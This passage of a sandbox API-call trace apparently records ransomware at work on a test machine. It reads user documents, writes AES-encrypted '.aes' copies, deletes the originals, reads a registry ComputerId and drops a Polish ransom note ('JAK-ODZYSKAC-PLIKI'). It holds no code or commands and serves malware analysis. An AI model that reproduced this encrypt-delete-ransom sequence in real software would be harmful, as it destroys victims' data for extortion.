lpOverlapped=0x0 | out: lpBuffer=0x270aef4*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.553] WriteFile (in: hFile=0x8e4, lpBuffer=0x28752e0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28752e0*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0078.553] ReadFile (in: hFile=0x7ec, lpBuffer=0x270aef4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x270aef4*, lpNumberOfBytesRead=0x77cea50*=0xe3d, lpOverlapped=0x0) returned 1 [0078.553] ReadFile (in: hFile=0x7ec, lpBuffer=0x270aef4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x270aef4*, lpNumberOfBytesRead=0x77cea50*=0x0, lpOverlapped=0x0) returned 1 [0078.553] WriteFile (in: hFile=0x8e4, lpBuffer=0x28752e0*, nNumberOfBytesToWrite=0xf51, lpNumberOfBytesWritten=0x77ce974, lpOverlapped=0x0 | out: lpBuffer=0x28752e0*, lpNumberOfBytesWritten=0x77ce974*=0xf51, lpOverlapped=0x0) returned 1 [0078.553] WriteFile (in: hFile=0x8e4, lpBuffer=0x28752e0*, nNumberOfBytesToWrite=0x21, lpNumberOfBytesWritten=0x77ce9a8, lpOverlapped=0x0 | out: lpBuffer=0x28752e0*, lpNumberOfBytesWritten=0x77ce9a8*=0x21, lpOverlapped=0x0) returned 1 [0078.554] CloseHandle (hObject=0x8e4) returned 1 [0078.555] CloseHandle (hObject=0x7ec) returned 1 [0078.555] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\PNXTgcQo4yh5r.odt", nBufferLength=0x105, lpBuffer=0x77ce628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\PNXTgcQo4yh5r.odt", lpFilePart=0x0) returned 0x3e [0078.555] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\PNXTgcQo4yh5r.odt" (normalized: "c:\\users\\kft6utqw\\documents\\lq5_4qumspxkagf3\\pnxtgcqo4yh5r.odt")) returned 1 [0078.556] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x47 [0078.556] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0078.556] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\LQ5_4QuMSpXKagF3\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\documents\\lq5_4qumspxkagf3\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe84bb840, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xe84bb840, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xe84bb840, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0078.556] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0078.556] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0078.587] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\31C8Jf9y_xli.docx", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\31C8Jf9y_xli.docx", lpFilePart=0x0) returned 0x2d [0078.587] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0078.587] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\31C8Jf9y_xli.docx" (normalized: "c:\\users\\kft6utqw\\documents\\31c8jf9y_xli.docx"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x478274d0, ftCreationTime.dwHighDateTime=0x1d32ba0, ftLastAccessTime.dwLowDateTime=0xb5d87d00, ftLastAccessTime.dwHighDateTime=0x1d32d6f, ftLastWriteTime.dwLowDateTime=0xb5d87d00, ftLastWriteTime.dwHighDateTime=0x1d32d6f, nFileSizeHigh=0x0, nFileSizeLow=0x1657d)) returned 1 [0078.587] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0078.587] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\31C8Jf9y_xli.docx", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\31C8Jf9y_xli.docx", lpFilePart=0x0) returned 0x2d [0078.587] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0078.587] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\31C8Jf9y_xli.docx" (normalized: "c:\\users\\kft6utqw\\documents\\31c8jf9y_xli.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ec [0078.588] GetFileType (hFile=0x7ec) returned 0x1 [0078.588] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0078.588] GetFileType (hFile=0x7ec) returned 0x1 [0078.588] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\31C8Jf9y_xli.docx.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\31C8Jf9y_xli.docx.aes", lpFilePart=0x0) returned 0x31 [0078.588] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0078.588] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\31C8Jf9y_xli.docx.aes" (normalized: "c:\\users\\kft6utqw\\documents\\31c8jf9y_xli.docx.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8e4 [0078.588] GetFileType (hFile=0x8e4) returned 0x1 [0078.588] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0078.588] GetFileType (hFile=0x8e4) returned 0x1 [0078.588] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0078.629] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x703ef10 [0078.629] GetNetworkParams (in: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624 | out: pFixedInfo=0x703ef10, pOutBufLen=0x77ce624) returned 0x0 [0078.641] LocalFree (hMem=0x703ef10) returned 0x0 [0078.641] GetAdaptersAddresses () returned 0x6f [0078.646] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7074460 [0078.646] GetAdaptersAddresses () returned 0x0 [0078.652] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0078.658] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0078.658] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0078.677] LocalFree (hMem=0x6ff2da0) returned 0x0 [0078.677] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0078.683] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2da0 [0078.683] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2da0, pOutBufLen=0x77ce38c) returned 0x0 [0078.693] LocalFree (hMem=0x6ff2da0) returned 0x0 [0078.693] LocalFree (hMem=0x7074460) returned 0x0 [0078.694] GetBestInterfaceEx (in: pDestAddr=0x29419a0*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0078.768] ReadFile (in: hFile=0x7ec, lpBuffer=0x2728fb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2728fb0*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.770] ReadFile (in: hFile=0x7ec, lpBuffer=0x2728fb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2728fb0*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.770] WriteFile (in: hFile=0x8e4, lpBuffer=0x28cf7bc*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28cf7bc*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0078.770] ReadFile (in: hFile=0x7ec, lpBuffer=0x2728fb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2728fb0*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.770] WriteFile (in: hFile=0x8e4, lpBuffer=0x28cf7bc*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28cf7bc*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0078.770] ReadFile (in: hFile=0x7ec, lpBuffer=0x2728fb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2728fb0*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.770] WriteFile (in: hFile=0x8e4, lpBuffer=0x28cf7bc*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28cf7bc*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0078.771] ReadFile (in: hFile=0x7ec, lpBuffer=0x2728fb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2728fb0*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.771] WriteFile (in: hFile=0x8e4, lpBuffer=0x28cf7bc*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28cf7bc*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0078.771] ReadFile (in: hFile=0x7ec, lpBuffer=0x2728fb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2728fb0*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.771] WriteFile (in: hFile=0x8e4, lpBuffer=0x28cf7bc*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28cf7bc*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0078.771] ReadFile (in: hFile=0x7ec, lpBuffer=0x2728fb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2728fb0*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.771] WriteFile (in: hFile=0x8e4, lpBuffer=0x28cf7bc*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28cf7bc*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0078.771] ReadFile (in: hFile=0x7ec, lpBuffer=0x2728fb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2728fb0*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.772] WriteFile (in: hFile=0x8e4, lpBuffer=0x28cf7bc*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28cf7bc*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0078.772] ReadFile (in: hFile=0x7ec, lpBuffer=0x2728fb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2728fb0*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.772] WriteFile (in: hFile=0x8e4, lpBuffer=0x28cf7bc*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28cf7bc*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0078.772] ReadFile (in: hFile=0x7ec, lpBuffer=0x2728fb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2728fb0*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.772] WriteFile (in: hFile=0x8e4, lpBuffer=0x28cf7bc*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28cf7bc*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0078.772] ReadFile (in: hFile=0x7ec, lpBuffer=0x2728fb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2728fb0*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.772] WriteFile (in: hFile=0x8e4, lpBuffer=0x28cf7bc*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28cf7bc*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0078.773] ReadFile (in: hFile=0x7ec, lpBuffer=0x2728fb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2728fb0*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.773] WriteFile (in: hFile=0x8e4, lpBuffer=0x28cf7bc*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28cf7bc*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0078.773] ReadFile (in: hFile=0x7ec, lpBuffer=0x2728fb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2728fb0*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.773] WriteFile (in: hFile=0x8e4, lpBuffer=0x28cf7bc*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28cf7bc*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0078.773] ReadFile (in: hFile=0x7ec, lpBuffer=0x2728fb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2728fb0*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.773] WriteFile (in: hFile=0x8e4, lpBuffer=0x28cf7bc*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28cf7bc*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0078.773] ReadFile (in: hFile=0x7ec, lpBuffer=0x2728fb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2728fb0*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.774] WriteFile (in: hFile=0x8e4, lpBuffer=0x28cf7bc*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28cf7bc*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0078.774] ReadFile (in: hFile=0x7ec, lpBuffer=0x2728fb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2728fb0*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.774] WriteFile (in: hFile=0x8e4, lpBuffer=0x28cf7bc*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28cf7bc*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0078.774] ReadFile (in: hFile=0x7ec, lpBuffer=0x2728fb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2728fb0*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.774] WriteFile (in: hFile=0x8e4, lpBuffer=0x28cf7bc*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28cf7bc*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0078.774] ReadFile (in: hFile=0x7ec, lpBuffer=0x2728fb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2728fb0*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.774] WriteFile (in: hFile=0x8e4, lpBuffer=0x28cf7bc*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28cf7bc*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0078.775] ReadFile (in: hFile=0x7ec, lpBuffer=0x2728fb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2728fb0*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.775] WriteFile (in: hFile=0x8e4, lpBuffer=0x28cf7bc*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28cf7bc*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0078.775] ReadFile (in: hFile=0x7ec, lpBuffer=0x2728fb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2728fb0*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.775] WriteFile (in: hFile=0x8e4, lpBuffer=0x28cf7bc*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28cf7bc*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0078.775] ReadFile (in: hFile=0x7ec, lpBuffer=0x2728fb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2728fb0*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.775] WriteFile (in: hFile=0x8e4, lpBuffer=0x28cf7bc*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28cf7bc*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0078.775] ReadFile (in: hFile=0x7ec, lpBuffer=0x2728fb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2728fb0*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0078.776] WriteFile (in: hFile=0x8e4, lpBuffer=0x28cf7bc*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x28cf7bc*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0078.776] ReadFile (in: hFile=0x7ec, lpBuffer=0x2728fb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2728fb0*, lpNumberOfBytesRead=0x77cea50*=0x57d, lpOverlapped=0x0) returned 1 [0078.776] ReadFile (in: hFile=0x7ec, lpBuffer=0x2728fb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x2728fb0*, lpNumberOfBytesRead=0x77cea50*=0x0, lpOverlapped=0x0) returned 1 [0078.776] WriteFile (in: hFile=0x8e4, lpBuffer=0x28cf7bc*, nNumberOfBytesToWrite=0x691, lpNumberOfBytesWritten=0x77ce974, lpOverlapped=0x0 | out: lpBuffer=0x28cf7bc*, lpNumberOfBytesWritten=0x77ce974*=0x691, lpOverlapped=0x0) returned 1 [0078.776] WriteFile (in: hFile=0x8e4, lpBuffer=0x28cf7bc*, nNumberOfBytesToWrite=0x21, lpNumberOfBytesWritten=0x77ce9a8, lpOverlapped=0x0 | out: lpBuffer=0x28cf7bc*, lpNumberOfBytesWritten=0x77ce9a8*=0x21, lpOverlapped=0x0) returned 1 [0078.776] CloseHandle (hObject=0x8e4) returned 1 [0078.777] CloseHandle (hObject=0x7ec) returned 1 [0078.777] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\31C8Jf9y_xli.docx", nBufferLength=0x105, lpBuffer=0x77ce628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\31C8Jf9y_xli.docx", lpFilePart=0x0) returned 0x2d [0078.777] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\31C8Jf9y_xli.docx" (normalized: "c:\\users\\kft6utqw\\documents\\31c8jf9y_xli.docx")) returned 1 [0078.778] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x36 [0078.778] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0078.778] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\documents\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0078.778] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0078.778] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="SOFTWARE\\AESxWin", ulOptions=0x0, samDesired=0x20019, phkResult=0x77cea88 | out: phkResult=0x77cea88*=0x7ec) returned 0x0 [0078.778] RegQueryValueExW (in: hKey=0x7ec, lpValueName="ComputerId", lpReserved=0x0, lpType=0x77ceaa8, lpData=0x0, lpcbData=0x77ceaa4*=0x0 | out: lpType=0x77ceaa8*=0x1, lpData=0x0, lpcbData=0x77ceaa4*=0x4a) returned 0x0 [0078.778] RegQueryValueExW (in: hKey=0x7ec, lpValueName="ComputerId", lpReserved=0x0, lpType=0x77ceaa8, lpData=0x28ff814, lpcbData=0x77ceaa4*=0x4a | out: lpType=0x77ceaa8*=0x1, lpData="0b75c6dd-d172-492e-b7be-2c05de30e808", lpcbData=0x77ceaa4*=0x4a) returned 0x0 [0078.779] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce508, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x36 [0078.779] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9e4) returned 1 [0078.779] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\documents\\#$# jak-odzyskac-pliki.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x8e4 [0078.779] GetFileType (hFile=0x8e4) returned 0x1 [0078.779] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9e0) returned 1 [0078.779] GetFileType (hFile=0x8e4) returned 0x1 [0078.779] WriteFile (in: hFile=0x8e4, lpBuffer=0x29087d4*, nNumberOfBytesToWrite=0xa2c, lpNumberOfBytesWritten=0x77cea80, lpOverlapped=0x0 | out: lpBuffer=0x29087d4*, lpNumberOfBytesWritten=0x77cea80*=0xa2c, lpOverlapped=0x0) returned 1 [0078.780] CloseHandle (hObject=0x8e4) returned 1 [0078.780] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0078.828] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\4MQNX-qcbrpg7.docx", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\4MQNX-qcbrpg7.docx", lpFilePart=0x0) returned 0x2e [0078.828] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0078.828] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\4MQNX-qcbrpg7.docx" (normalized: "c:\\users\\kft6utqw\\documents\\4mqnx-qcbrpg7.docx"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39f72e20, ftCreationTime.dwHighDateTime=0x1d2e648, ftLastAccessTime.dwLowDateTime=0xfa5ebf10, ftLastAccessTime.dwHighDateTime=0x1d33306, ftLastWriteTime.dwLowDateTime=0xfa5ebf10, ftLastWriteTime.dwHighDateTime=0x1d33306, nFileSizeHigh=0x0, nFileSizeLow=0xa76b)) returned 1 [0078.828] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0078.828] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\4MQNX-qcbrpg7.docx", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\4MQNX-qcbrpg7.docx", lpFilePart=0x0) returned 0x2e [0078.828] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0078.828] CreateFileW 